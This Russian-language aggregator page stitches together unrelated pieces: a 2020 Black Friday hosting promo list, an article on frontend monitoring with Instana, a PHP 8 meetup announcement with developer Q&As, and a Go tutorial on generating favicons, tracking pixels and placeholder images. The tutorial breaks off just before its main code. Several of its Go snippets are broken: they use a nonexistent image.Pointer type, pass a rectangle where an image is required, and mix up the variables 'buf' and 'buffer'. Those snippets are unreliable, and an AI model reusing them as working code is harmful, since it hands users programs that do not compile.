  • количество активаций кода ограничено, добавленные в корзину и не активированные в течение акционного периода заказы будут аннулированы по окончании акции.

Условия акции


Срок действия: до 30 ноября 2020 года
Скидка 66% на виртуальные серверы по промокоду VPS66 и выделенные серверы E5v4D210D по промокоду DS66.
Подробнее
Скидка на виртуальные серверы действует на тарифы Linux KVM и Windows KVM.
Условия акции


Срок действия: undefined
Cкидка до 65% на виртуальный хостинг и VPS/VDS, до 20% на выделенные серверы, 20% на реселлинг.
Подробнее
  • скидка 65% при заказе хостинга или виртуального сервера на год по промокоду BF65%ANN;
  • скидка 50% при заказе хостинга или виртуального сервера на месяц по промокоду BF50%MON;
  • скидка 30% при заказе виртуального сервера KVM Storage на год по промокоду BLACKF2020;
  • скидка 20% при заказе выделенного сервера в Румынии на год по промокоду BF20RO;
  • скидка 10% при заказе выделенного сервера Fujitsu в Нидерландах на год по промокоду BF10%NL;
  • скидка 20% при заказе реселлинга на год по промокоду BLACKFRI20.

Условия акции


Срок действия: до 29 ноября 2020 года
Скидка до 60% на выделенные серверы, кешбэк в размере 20% от суммы платежа, безлимитный трафик для выделенных серверов.
Подробнее
  • скидка 60% на первый месяц и 20% на остальное время аренды выделенных серверов 2x Intel Xeon E5-2680v2 в Нидерландах;
  • скидка 30% на второй месяц аренды выделенных серверов с GPU в Нидерландах;
  • скидка 20% при аренде выделенного сервера с 2 процессорами в России на срок 6 месяцев и более;
  • при заказе более чем на 500 евро кешбек в размере 20% от суммы на баланс аккаунта;
  • безлимитный трафик на скорости 1 Гбит/с при аренде двухпроцессорных серверов в США или Нидерландах с AMD, Intel Xeon Silver или 2x Intel Xeon E5-2680v2.

Условия акции


Срок действия: undefined
Скидка 60% на первый платеж за виртуальный хостинг
Подробнее
Максимальный период заказа 3 года.
Условия акции


Срок действия: до 30 ноября 2020 года включительно
Скидка 55% на виртуальные серверы во всех локациях и выделенные серверы Intel Xeon E3-1230v3-v6 / 32GB RAM / 2x2TB HDD по промокоду BF2020.
Подробнее
Виртуальный сервер Level 1 можно получить со скидкой при оплате от 3 месяцев. Для остальных тарифов минимальный период заказа составляет 1 месяц.
Условия акции


Срок действия: до 04 декабря 2020 года
Скидка до 50% на виртуальные серверы, до 40% на виртуальный хостинг, до 37% на выделенные серверы, 150 на баланс облачных услуг по промокоду BF2020, специальные цены на регистрацию доменных имен, скидки на SMS и Email рассылку.
Подробнее
Скидки зависят от периода заказа.
Условия акции


Срок действия: до 27 ноября 2020 года
Скидка 50% на виртуальные серверы в Нидерландах, Болгарии и США по промокоду BlackFriday2020, выделенные серверы в Нидерландах со скидкой 20% по промокоду BlackFriday2020Dedic.
Подробнее
  • VPS 1 vCPU / 1 GB RAM / 10 GB SSD / 100 Mbit/s 2.50
  • VPS 2 vCPU / 2 GB RAM / 20 GB SSD / 100 Mbit/s 6.00
  • VPS 1 vCPU / 2 GB RAM / 200 GB SSD / 100 Mbit/s 7.50
  • Dedic Intel Core i3 2100 2 x 3.10 GHz / 4 GB RAM / 120 GB SSD / 100 Mbit/s 19.60
  • Dedic Intel Xeon E-2234 4 x 3.60 GHz (4.80 GHz Turbo) / 8 GB RAM ECC DDR4 / 120 GB SSD / 100 Mbit/s 42.48
  • Dedic Intel Xeon E3-1270v6 4 x 3.80 GHz / 8 GB RAM / 240 GB Enterprise SSD / 100 Mbit/s 49.52

Условия акции


Срок действия: до 29 ноября 2020 года включительно
Скидка 50% на виртуальные серверы в Москве (DataPro) по промокоду BFMOSCOW.
Подробнее


Срок действия: до 03 декабря 2020 года
Скидка 50% на первый платеж за виртуальные и выделенные серверы для новых клиентов по промокоду 50BF2020.
Подробнее


Срок действия: до 01 декабря 2020 года
Скидка 50% на первый платеж за любой Linux VPS по промокоду $ale-Black-Cyber. При оплате за 3, 6 или 12 месяцев применяется дополнительная скидка от 10% до 25%.
Подробнее
Предложение доступно только для новых клиентов. Скидка распространяется на панель управления ISPManager. Предложение ограничено. Скидки за период оплаты применяются последовательно.
Условия акции


Срок действия: до 30 ноября 2020 года
Скидка 50% на все тарифы VPS по промокоду BF2020VPS, скидка 20% на серверы RU / NL3 по промокоду BF2020DED.
Подробнее
  • скидка 50% на все тарифы VPS по промокоду BF2020VPS, скидка 20% на серверы RU / NL3 по промокоду BF2020DED;
  • при пополнении баланса на сумму от $10 до $2000 по запросу в поддержку начисляется бонус в размере 20% от суммы.

Условия акции


Срок действия: до 02 декабря 2020 года
Постоянная скидка 50% на виртуальный хостинг.
Подробнее
Безлимитный хостинг за $2.5 в месяц.
Условия акции


Срок действия: до 29 ноября 2020 года
Скидка 40% на виртуальные серверы, специальная цена на выделенные серверы в Нидерландах
Подробнее
  • на виртуальные серверы с ценой от $10 в месяц при оформлении нового заказа на 3 месяца и более предоставляется скидка 40%, действующая на первый период оплаты; для активации следует обратиться в техническую поддержку;
  • специальная цена цена на выделенные серверы в Нидерландах (2xIntel E5-2620v4, 2xIntel E5-2630v3, 2xIntel Xeon Gold 5118, 2xIntel E5-2680v4) сохраняется при продлении, 14 дней использования предоставляются в подарок, количество ограничено.

Условия акции


Срок действия: до 07 декабря 2020 года
Для новых заказов на первый период оплаты предоставляется скидка 30% по промокоду BF2020.
Подробнее
  • для новых заказов на первый период оплаты, но не более 6 месяцев, предоставляется скидка 30% по промокоду BF2020;
  • для заказов, сделанных до начала акции, при продлении на 12 месяцев дополнительно к скидке 10% и скидке по программе лояльности по запросу в финансовый отдел предоставляется 1 месяц в подарок.

Условия акции


Срок действия: до 06 декабря 2020 года включительно
Cкидка 30% на выделенные серверы при заказе на 1 год, скидка 40% или бонус в размере $100 для новых клиентов на услуги CDN, Streaming Platform, DDoS Protection, Storage и Cloud.
Подробнее
  • для новых клиентов скидка 40% на услуги CDN, Streaming Platform, DDoS Protection, Storage и Cloud по промокоду BF2020 (указывается при регистрации, скидка применяется в конце биллингового периода);
  • для новых клиентов бонус $100 при заказе CDN, Streaming Platform, DDoS Protection, Storage и Cloud с промокодом 100USD (указывается при регистрации, бонус будет начислен в конце биллингового периода);
  • для существующих клиентов скидка 40% на подключение дополнительного сервиса CDN, Streaming Platform, DDoS Protection, Storage и Cloud по промокоду NEWSERVICE;
  • скидка 30% на любой выделенный сервер при заказе на 1 год по промокоду DEDICDOLLAR, DEDICEURO или DEDICRUBLE в зависимости от выбранной для расчетов валюты.

Условия акции


Срок действия: undefined
Скидка 25% на выделенные серверы с процессорами Intel Xeon E3-1220v3, E3-1240v3 и E5-2620.
Подробнее
Цены действительны при продлении сервера, на каждый выделенный сервер бесплатно предоставляется панель ISPmanager на все время пользования услугой.
Условия акции


Срок действия: до 04 декабря 2020 года
Скидка до 25% на выделенные серверы в различных локациях.
Подробнее
  • скидка до 25% на все конфигурации выделенных серверов в Дюссельдорфе (Германия);
  • скидка до 20% на все конфигурации выделенных серверов в Сиэтле (США);
  • специальные цены на выделенные серверы в США, Франции, Нидерландах, России и Сингапуре.

Условия акции


Срок действия: до 27 ноября 2020 года включительно
Скидка 20% на хостинг и виртуальные серверы по промокоду bf20, возврат 20% средств, потраченных на дополнительные услуги, специальная цена на выделенный сервер.
Подробнее
  • скидка 20% на хостинг и виртуальные серверы;
  • возврат 20% от средств, потраченных на дополнительные услуги (администрирование сайта или сервера, защита от жалоб), производится по запросу в поддержку;
  • при заказе выделенного сервера (2х Intel Xeon 5645 / 32 GB RAM / 2x 960 GB SSD) действует специальная цена 8000 рублей в месяц, количество серверов ограничено;
  • скидка по промокоду и кешбэк не суммируются.

Условия акции


Срок действия: до 03 декабря 2020 года
Скидка 20% на виртуальные серверы, 10% на выделенные серверы, 30% на сертификаты SSL по промокоду FASTVPS-BF20.
Подробнее
  • скидка 20% на виртуальные серверы (кроме тарифов VF и SAS);
  • скидка 10% на физические выделенные серверы;
  • скидка 30% на сертификаты SSL;
  • бесплатно предоставляется панель управления сервером, техническая поддержка, перенос 10 сайтов общим объемом до 60 GB при наличии технической возможности;
  • предложения не суммируются с другими акциями и действуют только на первый платеж.

Условия акции


Срок действия: до 15 декабря 2020 года
Скидка 20% на виртуальные серверы CloudVM S3-S10 по промокоду BlackFriday2020.
Подробнее
Скидка предоставляется однократно и действует на первый платеж на любой доступный период заказа. Действует только на новые заказы.
Условия акции


Срок действия: 27 ноября 2020 года
Скидка 15% на все виртуальные серверы по промокоду blackfriday.
Подробнее


Срок действия: до 29 ноября 2020 года включительно
Скидка 20% на настройку рекламы и аудит сайта.
Подробнее
Скидка 20% при заказе настройки контекстной рекламы или рекламы в социальных сетях, SEO-аудита или аудита качества сайта.
Условия акции


Срок действия: до 29 ноября 2020 года
3 месяца в подарок к оплате на год, 2-й месяц бесплатно на виртуальный сервер
Подробнее
  • три месяца в подарок при приобретении любого из тарифов Bitrix или RED.Site на год;
  • второй месяц бесплатно при приобретении виртуального сервера RED.Site-2 или RED.Site-3.

Условия акции


Срок действия: undefined
Специальные цены на виртуальный хостинг, виртуальные и выделенные серверы.
Подробнее
  • Linux VPS от $8.89 в год;
  • Windows VPS от $60 в год;
  • Выделенные серверы от $89 в месяц;
  • Виртуальный хостинг от $8.5 в год;
  • Реселлинг от $24.99 в год.

Условия акции


Срок действия: с 18:00 (GMT+2) 27 ноября до 18:00 (GMT+2) 28 ноября 2020 года
Удвоение параметров виртуального сервера.
Подробнее
Удвоение параметров любого оплаченного виртуального сервера. Детальная информация доступна в Live-чате на сайте или системе тикетов.
Условия акции


Срок действия: до 31 декабря 2020 года
Бесплатная лицензия Windows Server для каждого заказанного выделенного сервера.
Подробнее
При аренде любого выделенного сервера бесплатно предоставляется лицензия Windows Server Standard 2012, 2016 или 2019 до конца 2021 года. Промокод: WINDOWSZA0 или WIN0.
Условия акции


Срок действия: до 00:00 (GMT+2) 01 декабря 2020 года
Виртуальный хостинг и бесплатный домен за $9 в год.
Подробнее
Виртуальный хостинг (10 GB HDD, 10 сайтов, 10 баз данных, cPanel) и домен в зоне .online, .store, .website, .tech или .site за $9 в год.
Условия акции
Подробнее..

End User Monitoring на примере Instana

02.12.2020 18:09:40 | Автор: admin

На прошлой неделе мы выложили пост про то, как мы мониторим backend и микросервисную инфраструктуру с помощью Instana, и пообещали написать продолжение про мониторинг frontend.
В итоге мы решили не ограничиваться обзором Instana в качестве инструмента контроля frontend, а копнуть немного глубже и рассказать, для чего вообще нужен End User Monitoring, с какими проблемами производительности фронта мы сталкиваемся чаще всего, какие мы используем сценарии работы с собранными данными, и как Instana помогает нам контролировать пользовательский опыт в целом.



Что такое End User Monitoring?


Чтобы по существу ответить на вопрос, что же такое мониторинг пользовательского опыта (EUM), как нам кажется, будет правильно провести аналогию с APM (мониторингом производительности приложений).
APM показывает как отрабатывает наш backend при взаимодействии пользователя с приложением, а EUM расширяет эту видимость на весь путь пользователя от браузера или мобильного приложения к серверам backend. EUM показывает влияние задержек в сети, времени рендеринга и многих других показателей (ниже рассмотрим их подробнее) на опыт пользователей при взаимодействии с нашим приложением.


Для начала давайте посмотрим какие основные проблемы позволяет отследить EUM.


Проблемы, выявляемые EUM


  1. Медленная работа приложения у пользователей


    Самая распространенная проблема. Большинство инструментов EUM предоставляют данные о скорости загрузки приложения со стороны пользователей.
    В Amazon обнаружили, что каждые дополнительные 100 мс загрузки приложения обходятся им в 1% прибыли. Было бы интерестно узнать, отслеживает ли кто-нибудь из читателей Хабра то, как скорость загрузки приложения сказывается на бизнес-показателях? Напишите, пожалуйста, в комментариях, если вы такое практикуете.


  2. JavaScript ошибки у пользователей


    Некотрые JS ошибки приводят к тому, что у пользователя некорректно работает приложение не проходит регистрация в приложении, не добавляется товар в корзину и так далее.
    Конечно, не каждая JS ошибка приводит к сбою бизнес-операции, но их количество нужно отслеживать и стремиться снижать.


  3. Ошибки в запросах пользователя (например, 500 или 404 статус коды ответа)


    Контролируя ошибки в запросах только на стороне backend'а приложения мы упускаем ошибки, которые могут возникать при взаимодействии со сторонними сервисами, backend которых мы не контролируем.
    Например, если на внешние по отношению к нашему приложению API возникают 500-е ошибки в ответ на XHR запросы, наши пользователи не могут произвести оплату или оформить доставку, и мы не узнаем об этом, пока не будем контролировать все HTTP запросы, уходящие со страниц нашего сайта.



Выявив проблему важно понять причину ее появления. На этот вопрос также дает ответы EUM.


Типовые причины возникнования проблем на фронте


  1. Проблемы из-за связности провайдеров


    В зависимости от провайдера пользователя страницы сайта могут загружаться с разной скоростью. Проблемы маршрутизации, сетевые блокировки, сбои у крупных операторов могут существенно повлиять на качество работы наших приложений у пользователей.


    Для диагностики таких проблем, EUM определяет провайдера/ASN пользователя и их метрики производительности.
    Часто устранение таких проблем лежит на третьей стороне, но нам важно отслеживать и вовремя сигнализировать своему оператору дата-центра, сетевому провайдеру, оператору CDN или вендору защиты от DDOS о проблемах связности с крупными операторами.


  2. Проблемы клиентских устройств


    Одна и та же страница в разных браузерах может загружаться с разной скоростью.
    Для возможности диагностики и расследования таких проблем EUM определяет тип и версию браузера, тип и версию операционной системы, тип устройства и другие параметры клиентов.


    Не все комбинации ОС, версий браузеров и разрешений экранов возможно протестировать заранее.
    Поэтому нам важно знать, если на очередной версии Android браузера на определенном этапе пользовательского сценария возникли проблемы производительности или функциональности.


  3. Проблемы со сторонними ресурсами


    Скорость загрузки страницы не всегда зависит от качества именно нашего кода с ним может быть все хорошо, но при этом у посетителя все равно плохой пользовательский опыт сайт загружается медленно или приложение работает плохо с точки зрения функциональности.
    Например, плохо работает загрузка контента, поисковая форма не выдает результаты, не подставляются справочные поля формы и так далее.
    На e-commerce сайтах загружается много стороннего кода системы рекомендаций, окна онлайн-чата, внешний поиск и так далее.


    Чтобы определить причину проблему в таких случаях, EUM анализирует как загружаются все ресурсы, в том числе внешние, есть ли ошибки при загрузке, с какой скоростью отвечают внешние ресурсы, сколько контента возвращают на запросы и тд.


  4. Проблемы после обновления приложений


    Проблемы с приложением у наших пользователей могут возникать после выпуска нового релиза приложения.
    Для диагностики нам нужно знать в какой версии у пользователя возникла проблема и быстро получить обратную связь от реальных пользователей после выкатки нового релиза.
    Это позволит не только локализовать проблему, но и сравнивать метрики приложения "до" и "после" релиза.



Итак, мы рассмотрели проблемы фронта и причины их появления, которые выявляет End User Monitoring. А теперь важно понять, какие именно метрики и данные нам может предоставить EUM для расследования инцидентов производительность фронтенда.


Метрики и данные EUM


Все данные и метрики в EUM берутся напрямую из браузеров пользователей.
Современные браузеры поддерживают W3C спецификации:


  • Resource Timing API
  • Navigation Timig API
  • Paint Timing API
  • Network Infromation API

Используя эти API браузеров EUM получают нужные нам метрики, например:


  • Page Load Time полное время загрузки страницы;
  • DNS Lookup время поиска записи DNS;
  • Time to First Byte время загрузки до первого байта;
  • DOMContentLoaded время DOM процессинга
  • прочие метрики.

Для оценки качества пользовательского опыта в мае 2020 года компания Google описала три ключевые метрики Web Vitals.
Метрики отражают три качества пользовательского опыта скорость загрузки, интерактивность и визуальную стабильность страницы:


  • Largest-Contentful Paint время отрисовки самой большой и видимой части содержимого на первом экране сайта;
  • First Input Delay время необходимое для того, чтобы страница стала интерактивной;
  • Cumulative Layout Shift степень визуальной стабильности контента на сайте.


Некоторые EUM решения также отслеживают эти метрики из коробки.


AJAX запросы


Хотели бы отдельно акцентировать внимание на важность сбора информации по производительности AJAX/XHR запросов, так как чаще всего со страниц сайта уходит много таких запросов, которые влияют на общую производительность.
Запросы могут быть как к сторонним ресурсам, например, к Google Analytics, к Яндекс.Метрике, так и к нашему API, т.е. запросы к нашему backend.


Что нам нужно увидеть по этим запросам?


  • их количество;
  • время исполнения;
  • коды ответов;
  • http методы.

Причем в случае, если запрос уходит на наш backend, с помощью связки EUM + APM мы cможем увидеть нашу транзакцию от начала до конца от клика пользователя на сайте до цепочки запросов сервисов, до запросов к базе данных на backend.


Для понимания причин проблем производительности, их быстрой диагностики и устранения также необходима информация о типах браузеров посетителей, подсетях и провайдерах клиентов (если проблема в конкретном провайдере), версиях браузеров, версиях операционных систем все это в привязке к производительности фронта.


Теперь давайте посмотрим на основные сценарии использования собранных с frontend данных в EUM.


Сценарии использования собранных данных EUM


  1. Оповещения о проблемах


    EUM использует данные о производительности фронта в качестве триггеров оповещений о проблемах.


    Например, среднее время отрисовки страницы увеличилось, резко возросло количество JS ошибок или внешний ресурс стал отдавать 500-e ошибки на AJAX запросы наших пользователей все это должно триггерить алерты.


  2. Расследование проблем


    Требуется как после массовых сбоев, затронувших большое количество пользователей, так и после обращений конкретного посетителя на линию поддержки с проблемой.


    EUM позволяет локализовать проблему, найти сессии и запросы конкретного пользователя или же наоборот, выявить паттерны и тренды в метриках больших групп посетителей, с возможностью "провалиться" до конкретной ошибки и ее причины.


  3. Сквозная видимость транзакций


    Корреляция данных фронта и бэкенда необходима, чтобы получить end-to-end видимость транзакций для проведения анализа причины падения производительности или проблемы. Особенно это актуально для микросервисных сред.


    Видя весь путь пользователя от загрузки страницы в браузере до сервисов бэкенда, запросов к БД, очередей и других систем, мы можем определить на каком именно этапе этой цепочки возникла проблема.



Давайте рассмотрим, как все, о чем мы говорили выше, реализовано в инструменте Instana.


Мониторинг пользовательского опыта с помощью Instana


Для подключения EUM Instana необходимо добавить на сайт JavaScript код EUM агента легковесный сниппет, который встраивается в шаблон сайта или SPA приложения.
После этого агент начнем собирать данные из браузеров конечных пользователей.


Все данные о наших пользователях попадают на готовый дашборд в разделе WebSites.


Дашборд веб-браузерного приложения в Instana


На главном дашборде мы сразу видим основные ключевые метрики производительности:


  • количество просмотров страниц;
  • количество JavaScript ошибок;
  • время загрузки страниц по различным перцентилям.

В верхней части дашборда доступны следующие фильтры:


  • по типу браузера;
  • по типу операционной системы;
  • по геолокации пользователя (страна/город)
  • по дополнительным атрибутам, в том числе бизнес-атрибутам;
  • по размеру экрана.

Для более глубокого анализа производительности, мы можем перейти на следующие вкладки.


Speed


Здесь мы видим все основные метрики скорости загрузки:
Метрики скорости загрузки приложения Instana


Navigation Timing и Paint Timing метрики:
Navigation и Paint Timing


Мы посмотрели на основные метрики скорости загрузки веб-сайта и теперь давайте проанализируем те ресурсы, которые загружаются в процессе взаимодействия пользователей с сайтом.


Resources


Перейдя на вкладку Resources, мы видим список всех загружаемых ресурсов.


Resources


Для более детального анализа, давайте перейдем к одному из ресурсов:
Дашборд Resources


Мы видим основные метрики загрузки ресурса:
Дашборд Resources


Кэш статистику и размер ресурса:
Дашборд Resources


HTTP Requests


Следующее что нам нужно проанализировать это AJAX запросы. Для этого перейдем на вкладку HTTP Requests. Где, по аналогии с разделом Resources, увидим список всех запросов, давайте сразу рассмотрим один из запросов.


Дашборд HTTP Requests


Здесь сразу видим ключевые метрики количество вызовов, процент ошибок, время исполнения.


Здесь же доступны HTTP коды ответов и разбивка по HTTP методам:
Дашборд HTTP Requests


Посмотрев на метрики запросов можем перейти уже к более детальному анализу запросов, перейдя к разделу аналитики, с котором мы уже знакомились в первой части обзора, но это мы сделаем чуть позже.
А пока перейдем к анализу JavaScript ошибок.


JavaScript ошибки


Мы видим список всех JavaScript ошибок и выбрав одну из них, попадем на дашборд.
Дашборд JS Errors


Здесь мы видим, как часто ошибка встречается у пользователей, скольких пользователей она затронула и ее стак трейс.


Дашборд JS Errors


Мы сразу видим в каких браузерах, на каких ОС она встречается чаще всего, что позволяет нам сразу же локализовать проблему.


Аналитика


Все метрики и данные, которые мы посмотрели берутся из загрузок страниц (Page Loads) пользователей.
И мы можем их проанализировать, просто кликнув в верху экрана на "Analyze Page Loads" и попадем в раздел Аналитика
Раздел Аналитика


В разделе Аналитика нам доступны данные и метрики всех Page Loads, где при необходимости можно отсортировать и сгруппировать Page Loads, чтобы найти запросы по нужным критериям.
Мы уже применили группировку по имени браузера и отобразаили нужные нам метрики, посмотрим детально на один из Page Load.
PageLoad
Первое, что мы сразу видим, это основная информация когда сессия началась, сколько JS ошибок было, сколько ресурсов загружено, и сколько AJAX запросов сделано.


Дальше мы видим информацию о пользователе. Важно отметить, что по умолчанию не передаются такие данные, как email, User ID, User Name это добавляется вручную. У нас на примере эти данные присутствуют.
Далее мы видим гелолокацию пользователя до уровня страны и города.
И дополнительную мета информацию, которая также добавляется вручную и нужна нам для обогащения информации о PageLoad, например, в meta можно передавать статус пользователя зарегистрированный/незарегистрированный, версия верстки и так далее.
Meta информация используется для фильтрации PageLoad в ходе дальнейшего анализа данных.
Давайте вернемся к PageLoad, что мы видим еще?


PageLoad
Дальше мы видим как происходила загрузка страницы у нашего пользователя какие ресурсы загружались, были ли ошибки, какие XHR запросы ушли с этой страницы.
И по каждому элементу, мы можем получить более подробную информацию, просто кликнув на него.
Так как мы выбрали саму страницу, то мы видим основные метрики ее загрузки Navigation Timing и также показатели Web Vitals и кнопку View Backend Trace, но о ней чуть позже.


Давайте посмотрим на AJAX запросы, которые были в этой пользовательской сессии.


PageLoad
В этой сесии был всего 1 XHR запрос и по нему мы видим данные: http метод, код ответа и также мы видим сколько времени этот запрос исполнялся на backend.
Так как мы уже мониторим backend часть нашего приложения, Instana соотнесла этот PageLoad с транзакцими на backend, которые были инициированы в ходе его выполнения.
Давайте посмотрим на трейс backend транзакции.


Корреляция с backend транзакцией


Backend Trace
Мы перешли к тому самому трейсу, который был инициирован нашим пользователем и можем проанализировать работы нашего backend в момент выполнения запроса.
Backend Trace
Здесь мы можем проанализировать медленные запросы к базе данных, инфраструктурные метрики приложения, процесса, хоста и прочую информацию, относящуюся к выполнению данного запроса на backend.


SmartAlerts


Важно не только собирать данные, но и получать своевременные оповещения о проблемах.
Для этого в Instana есть функционал "SmartAlerts" конструктор алертов на типовые сценарии проблем.
Мастер конфигурации оповещений доступен по кнопке "Add alert".


SmartAlerts


Типовые проблемы фронтенда здесь сгруппированы в несколько сценариев, на которые можно настроить оповещения.


  • Медленная работа приложения у пользователей


    Оповещает в случае медленной загрузки веб-сайта или SPA приложения у клиентов.
    Можно выбрать метрику onLoadTime по нужному перцентилю (рекомендуется по 90-му), увидеть baseline этой метрики за последние 24 часа или 7 дней и определить чувствительность алгоритма выявления аномалий в распределении значений метрики относительно baseline.


    SmartAlerts


  • JavaScript ошибки


    Сигнализирует об увеличиении или появлении JS ошибок.
    SmartAlerts


  • HTTP коды ответа


    Оповещение о заданных кодах ответа у клиентов. Это могут быть конкретные коды (404) или группа кодов (5xx).


  • Неожиданно малое или большое количество запросов к сайту


    Малое количество обращений говорит о проблемах или недоступности сайта или SPA приложения у части пользователей.
    Резкий рост количества запросов не всегда говорит о проблеме, но к нему нужно быть готовым.
    Также это может свидетельствовать о повышенной бот активности на сайте.



Каждый из сценариев можно кастомизировать (настройка в Advanced Mode), либо принять предложенные значения по умолчанию (Basic Mode).
Для кастомизации каждого условия доступны фильтры, такие как cтрана пользователей, страница сайта, а также бизнес-атрибуты.
Например, если мы хотим получать уведомления только тогда, когда у наших VIP пользователей на странице checkout возникают проблемы, можно применить вот такой фильтр.


SmartAlerts


Далее можно кастомизировать текст алерта, который будет прилетать в выбранный канал оповещения. Например, во в таком виде алерт будет отображаться в Slack или Microsoft Teams:


SmartAlerts


В нашем сегодняшнем посте мы постарались максимально раскрыть важность мониторинга фронта, разобрать по косточкам из чего вообще состоит EUM и показать пример мониторинга пользовательского опыта с помощью платформы Instana.


Для изучения EUM Instana на собственных сайтах или SPA приложениях доступен бесплатный триальный период: https://www.instana.com/trial/


Первая часть обзора Instana с фокусом на мониторинга микросервисов и Kubernetes.


Спасибо за внимание.

Подробнее..

Встречаем PHP 8 вместе советы по обновлению, мнения за и против и интервью с одним из ключевых разработчиков

23.11.2020 14:22:47 | Автор: admin
У PHP отличное сообщество. Пандемия отобрала у нас митапы и конференцию, но мы можем собраться 25 ноября вечером в онлайне на:

  • доклад PHP 8: юзерленд нескучный обзор с примерами и рекомендациями,
  • дискуссию о развитии языка,
  • и сессию Q&A с Никитой Поповым (вопросы соберем по ходу эфира).


Для участия достаточно зарегистрироваться, это бесплатно. А пока есть время, мы попросили ребят, которые придут в трансляцию, вспомнить, за что они любили и не любили предыдущие версии языка.


Роман pronskiy Пронский автор PHP-дайджестов и главный по маркетингу в PhpStorm. Соведущий нашего митапа


Что было самым крутым в PHP 5?
Неймспейсы, оператор goto ( )

А самым ужасным и вредным?
Трейты.

Когда PHP 6 не увидел свет, ты
Искал свою первую работу, связанную с PHP.

Самое крутое в PHP 7?
Zend Engine 3 производительность!

А самое бесполезное в 7-ке?
Не помню ничего такого.


Александр SamDark Макаров соавтор Yii3, главный по программе PHP Russia. Соведущий нашего митапа


Что было самым крутым в PHP 5?
Zend Engine 2. Нормальное ООП в сравнении с PHP 4 + много классных фич в промежуточных релизах.

А самым ужасным?
Ничего прям ужасного не вспомню.

Когда PHP 6 не увидел свет, ты
В общем-то, не заметил этого :) Но потом, когда вчитался, понял, какой объём работ был выкинут и насколько это должно быть обидно.

Самое крутое в PHP 7?
Скорость, типизация, ??, анонимные классы.

А самое бесполезное в 7-ке?
Семёрка хорошая.


Валентин vudaltsov Удальцов автор телеграм-канала Пых, активный контрибьютор в Symfony


Что было самым крутым в PHP 5?
То, что больше не снится мне в страшных снах.

А самым ужасным?
trait

Когда PHP 6 не увидел свет, ты
Перешёл на QBasic.

Самое крутое в PHP 7?
??=

А самое бесполезное в 7-ке?
trait.


Альберт alexleonov Степанцев, автор статьи Мне не нравится, во что превращается PHP


Что было самым крутым в PHP 5?
Самое крутое, что он был вообще. Без него бы не было современных версий.

А самым вредным?
Пятерка была разной: между 5.6 и 5.0 скорее больше различий, чем чего-то общего. Язык изменился неузнаваемо. Лично для меня, наверное, самым вредным стало то, что длина int зависит от разрядности операционной системы.

Когда PHP 6 не увидел свет, ты
Хотел скупить все книги по PHP 6, которые успели издать.

Самое крутое в PHP 7?
NG.

А самое бесполезное в 7-ке?
Когда-то считал бесполезными анонимные классы. Теперь так не считаю.

p.s. Стрим организован совместными усилиями Онтико (PHP Russia), devrel-команды Skyeng и проекта PHP Point. Отдельное спасибо Алисе alyssashch Мартыновой из ростовского ИТ-сообщества RnD Tech за помощь с сайтом митапа.
Подробнее..

Создание изображений в runtime (favicon, watermark, нарезка картинок) golang

27.11.2020 08:18:10 | Автор: admin

В Go есть возможность создавать файлы изображений.

С помощью этого мы можем создавать картинки на лету (в runtime).

Где же это может пригодится?

Вот небольшой список того, что мы можем создать используя данный функционал:

  1. Favicon

  2. Pixel-трекер

  3. Placeholder

  4. Наложение текста (watermark) на изображение

  5. Нарезка изображений

1. Favicon

Часто Go приложения рассматриваются как серверная часть для отдачи контента для внутренних и/или внешних сервисов и может отдавать контент для Вашего сайта.

Желательно, чтобы у Вас был внешний сервис (слой) для отдачи ответа - некий getaway, чтобы отдавать только нужный payload и, в том числе, без веб-специфичных запросов.

Под веб-специфичными запросами от клиента к серверной части - я подразумеваю запросы favicon и различные манифесты, которые принято рассматривать в большей степени как "фронтовые" типы ресурсов. То есть за их работу в большинстве случаев отвечают те же специалисты, которые и делают "фронтовую" часть проекта.

Но, что если ваше Go приложение также сможет отдавать favicon и манифесты самостоятельно. И не просто брать статичные файлы favicon и манифеста, а генерить/создавать эти массивы байт в runtime. Это позволит нашему приложению не зависеть от этих статичных файлов.

Вы, конечно, можете отдавать статичный файл:

func faviconHandler(w http.ResponseWriter, r *http.Request) {http.ServeFile(w, r, "relative/path/to/favicon.ico")}...func main() {  http.HandleFunc("/favicon.ico", faviconHandler)}

Но мы же хотим создавать favicon динамически.

Для динамического создания favicon есть, как минимум, два похожих способа:

  • Первый способ

import (   "bytes"   "image"   "image/gif"   "net/http"   ...)var buf bytes.Buffergif.Encode(&buf, image.Rect(0, 0, 16, 16), nil)w.Header().Set("Content-Type", "image/jpeg")w.Header().Set("Content-Length", strconv.Itoa(len(buf.Bytes())))w.Write(buf.Bytes())

Второй способ:

import (   "bytes"   "image"   "image/color"   "image/draw"   "image/jpeg"   ...)buf := new(bytes.Buffer)m := image.NewRGBA(image.Rect(0, 0, 16, 16))clr := color.RGBA{B: 0, A: 0}draw.Draw(m, m.Bounds(), image.NewUniform(clr), image.Pointer{}, draw.Src)jpeg.Encode(buffer, img, nil)w.Header().Set("Content-Type", "image/jpeg")w.Header().Set("Content-Length", strconv.Itoa(len(buffer.Bytes())))w.Write(buf.Bytes())

2. Pixel-трекер

Pixel-трекер широко используется при арбитраже трафика.

var buf bytes.Buffergif.Encode(&buf, image.Rect(0, 0, 1, 1, nil))

Динамическая генерация такого трекера позволит Вам в одном приложении отдавать и pixel, и собирать данные.

Для генерации placeholder-ов мы будем использовать тот же подход, что и для картинок с фиксированным размером, но с возможностью добавлять текст и изменять размеры картинки и шрифта.

Во-первых, определимся с требованиями:

  • на вход к нам приходим запрос вида: /ШИРИНА/ВСОТА/ЦВЕТ/ТЕКСТ/ЦВЕТ_ТЕКСТА/РАЗМЕР_ШРИФТА

    Например: /600/200/622E68/Placeholder (заглушка)/FFFFFF

  • текст должен располагаться по середине картинки

  • текст приходит в запросе от клиента или собирается по формату: "ШИРИНА х ВСОТА"

  • текст должен поддерживать возможность латиницы и кириллицы

  • предусмотреть параметры по умолчанию

  • на выходе мы отдаём байты картинки

Разбор параметров начнём с пакета по работе с цветами картинки и текста (package colors).

Цвет будет приходить как строка в HEX формате. Другие форматы цвета, как входного параметра - не предвидятся.

Пакет для работы с цветами:

package colorsimport ("image/color""strconv")type rgb struct {red   uint8green uint8blue  uint8}func ToRGBA(h string) (color.RGBA, error) {rgb, err := hex2RGB(h)if err != nil {return color.RGBA{}, err}return color.RGBA{R: rgb.red, G: rgb.green, B: rgb.blue, A: 255}, nil}func hex2RGB(hex string) (rgb, error) {values, err := strconv.ParseUint(hex, 16, 32)if err != nil {return rgb{}, err}return rgb{red:   uint8(values >> 16),green: uint8((values >> 8) & 0xFF),blue:  uint8(values & 0xFF),}, nil}


Непосредственно пакет сборки нашей картинки:

